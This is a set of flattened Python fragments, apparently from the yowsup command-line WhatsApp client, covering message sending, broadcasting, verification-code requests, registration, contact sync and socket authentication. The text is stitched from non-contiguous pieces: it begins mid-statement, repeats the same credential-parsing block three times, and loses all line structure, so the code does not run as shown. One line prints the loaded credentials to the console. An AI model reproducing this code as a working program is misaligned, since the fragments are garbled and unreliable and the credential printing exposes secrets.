login[len(countryCode):] else: dissected = dissectPhoneNumber(login) if not dissected: sys.exit( "ERROR. Couldn't detect cc, you have to manually place it your config" ) countryCode, phoneNumber = dissected Debugger.enabled = args['debug'] if args["ignorecached"]: Utilities.tokenCacheEnabled = False if args["interactive"]: #val = args["interactive"] #wa = WhatsappCmdClient(val, args['keepalive'] ,args['autoack']) #wa.login(login, password) pass elif args['send']: #pdb.set_trace() phone = args["send"][0] message = args["send"][1] wa = WhatsappEchoClient(phone, message, args['wait']) wa.login(login, password) elif args["sendImage"]: phone = args["sendImage"][0] imagePath = args["sendImage"][1] wa = UploaderClient(phone, imagePath, args['wait']) wa.login(login, password) elif args['listen']: #pdb.set_trace() wa = WhatsappListenerClient(args['keepalive'], args['autoack']) wa.login(login, password) wa.listening() elif args['broadcast']: phones = args["broadcast"][0] message = args["broadcast"][1] wa = WhatsappEchoClient(phones, message, args['wait']) wa.login(login, password) elif args["requestcode"]: method = args["requestcode"] if method not in ("sms", "voice"): print("coderequest accepts only sms or voice as a value") else: wc = WACodeRequestV2(countryCode, phoneNumber, identity, method) result = wc.send() print(resultToString(result)) elif args["register"]: code = args["register"] code = "".join(code.split('-')) wr = WARegRequestV2(countryCode, phoneNumber, code, identity) result = wr.send() print(resultToString(result)) elif args["exists"]: we = WAExistsRequestV2(countryCode, phoneNumber, identity) result = we.send() print(resultToString(result)) if result["pw"] is not None: print( "\n=========\nWARNING: %s%s's has changed by server to \"%s\", you must update your config file with the new password\n=========" % (countryCode, phoneNumber, result["pw"])) elif args["sync"]: contacts = args["sync"].split(',') wsync = WAContactsSyncRequest(login, password, contacts) print("Syncing %s contacts" % len(contacts)) result = wsync.send() print(resultToString(result)) elif args["dbus"]: startDbusInterface() elif args["generatepassword"]: print(Utilities.processIdentity(args["generatepassword"])) elif args["decodestring"]: print( Utilities.decodeString( map(int, "".join(args["decodestring"].split(' ')).split(',')))) else: print("Error: config file is invalid")
def auth(self, username, password): self._d(">>>>>>>> AUTH CALLED") username = str(username) #password = str(password) #traceback.print_stack() self.lock.acquire() if self.state == 0 : if self.readerThread.isAlive(): raise Exception("TWO READER THREADS ON BOARD!!") self.readerThread = ReaderThread() self.readerThread.autoPong = self.autoPong self.readerThread.setSignalInterface(self.signalInterface) yAuth = YowsupAuth(ConnectionEngine()) try: self.state = 1 tokenData = Utilities.readToken() resource = tokenData["r"] if tokenData else Constants.tokenData["r"] connection = yAuth.authenticate(username, password, Constants.domain, resource) except socket.gaierror: self._d("DNS ERROR") self.readerThread.sendDisconnected("dns") #self.signalInterface.send("disconnected", ("dns",)) self.lock.release() self.state = 0 return 0 except socket.error: self._d("Socket error, connection timed out") self.readerThread.sendDisconnected("closed") #self.signalInterface.send("disconnected", ("closed",)) self.lock.release() self.state = 0 return 0 except ConnectionClosedException: self._d("Conn closed Exception") self.readerThread.sendDisconnected("closed") #self.signalInterface.send("disconnected", ("closed",)) self.lock.release() self.state = 0 return 0 if not connection: self.state = 0 self.signalInterface.send("auth_fail", (username, "invalid")) self.lock.release() return 0 self.state = 2 self.socket = connection self.jid = self.socket.jid #@@TODO REPLACE PROPERLY self.out = self.socket.writer self.readerThread.setSocket(self.socket) self.readerThread.disconnectedCallback = self.onDisconnected self.readerThread.onPing = self.sendPong self.readerThread.ping = self.sendPing self.signalInterface.send("auth_success", (username,)) self.lock.release()
args = vars(parser.parse_args()) if len(sys.argv) == 1: parser.print_help() elif args["help_config"]: print(CONFIG_HELP) elif args["version"]: print("yowsup-cli %s, using Yowsup %s"%(__version__, Constants.v)) else: credentials = getCredentials(args["config"] or DEFAULT_CONFIG) print(credentials) if credentials: countryCode, login, identity, password = credentials identity = Utilities.processIdentity(identity) password = base64.b64decode(bytes(password.encode('utf-8'))) if countryCode: phoneNumber = login[len(countryCode):] else: dissected = dissectPhoneNumber(login) if not dissected: sys.exit("ERROR. Couldn't detect cc, you have to manually place it your config") countryCode, phoneNumber = dissected Debugger.enabled = args['debug'] if args["ignorecached"]: Utilities.tokenCacheEnabled = False
elif varname == "id": idx = val elif varname =="password": pw =val elif varname == "cc": cc = val return (cc, phone, idx, pw); except: pass return 0 countryCode, login, identity, password = getCredentials() identity = Utilities.processIdentity(identity) password = base64.b64decode(bytes(password.encode('utf-8'))) if countryCode: phoneNumber = login[len(countryCode):] else: dissected = dissectPhoneNumber(login) if not dissected: sys.exit("ERROR. Couldn't detect cc, you have to manually place it your config") countryCode, phoneNumber = dissected def start_listening(): # listen to new messages wa.login(login, password) class Hooks(threading.Thread):